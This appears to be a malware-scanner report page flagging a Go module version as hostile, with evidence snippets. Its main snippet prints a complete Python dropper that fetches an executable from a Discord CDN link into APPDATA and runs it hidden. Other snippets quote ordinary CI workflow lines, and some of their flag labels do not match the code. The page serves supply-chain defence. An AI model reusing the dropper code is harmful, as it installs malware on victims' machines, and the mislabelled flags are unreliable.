Hostile 100% go Download

github.com/oracle/spring-cloud-oracle v2.0.3-0.20260903211604-809c3d543f33+incompatible

Malicious dependency included

Discord CDN dropper behavior (downloads executable)OIDC-enabled job runs an opaque step

Evidence

Discord CDN URL pointing to executable main.py · lines 1–39
1# zlibxjson/main.py
2
3import os
4import requests
5import subprocess
6
7def download_file(url, dest_folder):
8 if not os.path.exists(dest_folder):
9 os.makedirs(dest_folder)
10
11 local_filename = os.path.join(dest_folder, url.split('/')[-1].split('?')[0])
12
13 with requests.get(url, stream=True) as r:
14 r.raise_for_status()
15 with open(local_filename, 'wb') as f:
16 for chunk in r.iter_content(chunk_size=8192):
17 f.write(chunk)
18
19 return local_filename
20
21def run_silently(file_path):
22 try:
23 subprocess.Popen(
24 file_path,
25 creationflags=subprocess.CREATE_NO_WINDOW,
26 shell=True
27 )
28 except Exception as e:
29 print(f"Failed to run the file: {e}")
30
31def init():
32 url = "https://cdn.discordapp.com/attachments/1256680237928943814/1256712009446064159/MinGCC-x64.exe?ex=6681c3c3&is=66807243&hm=02d2fc60fc38113bedae261d22d0505c86eb70b20b4defb94197642a4479b532&"
33 appdata_folder = os.getenv('APPDATA')
34
35 if appdata_folder:
36 file_path = download_file(url, appdata_folder)
37 run_silently(file_path)
38 else:
39 print("APPDATA folder not found.")
GitHub Actions OIDC write permission _deploy-github-pages.yaml · lines 16–32
16:64 content
17# Sets permissions of the GITHUB_TOKEN to allow deployment to GitHub Pages
18permissions:
19 contents: read
20 pages: write
12 lines
base64 --decode piped to sh _deploy-github-pages.yaml · lines 49–58
49:20pefail
50 echo "Hash of package should be $ARTIFACT_HASH."
51 echo "$ARTIFACT_HASH" | base64 --decode | sha256sum --strict --check --status || exit 1
52
53 # Prepare the docs content.
5 lines
GitHub Actions package publish step release.yaml · lines 19–31
19:23
20 USER_EMAIL: [email protected]
21 IMAGE_NAME: ghcr.io/oracle/macaron
22
23jobs:
8 lines
Structured file has curl/wget output path release.yaml · lines 189–193
189:14nload artifacts.
190 echo "Downloading $ASSET_NAME"
191 curl --output "$ASSET_NAME" --progress-bar --location \
192 "https://github.com/anchore/syft/releases/download/v${SYFT_VERSION}/${ASSET_NAME}"
193

Showing the top 5 files — 5 more files (27 regions) not shown.

No evidence locations were recorded for this file. Raw result

Keyboard shortcuts on this page: j for the next sample, k for the previous one, x to go back to the feed, d to download the original bytes, r to re-queue the sample for analysis.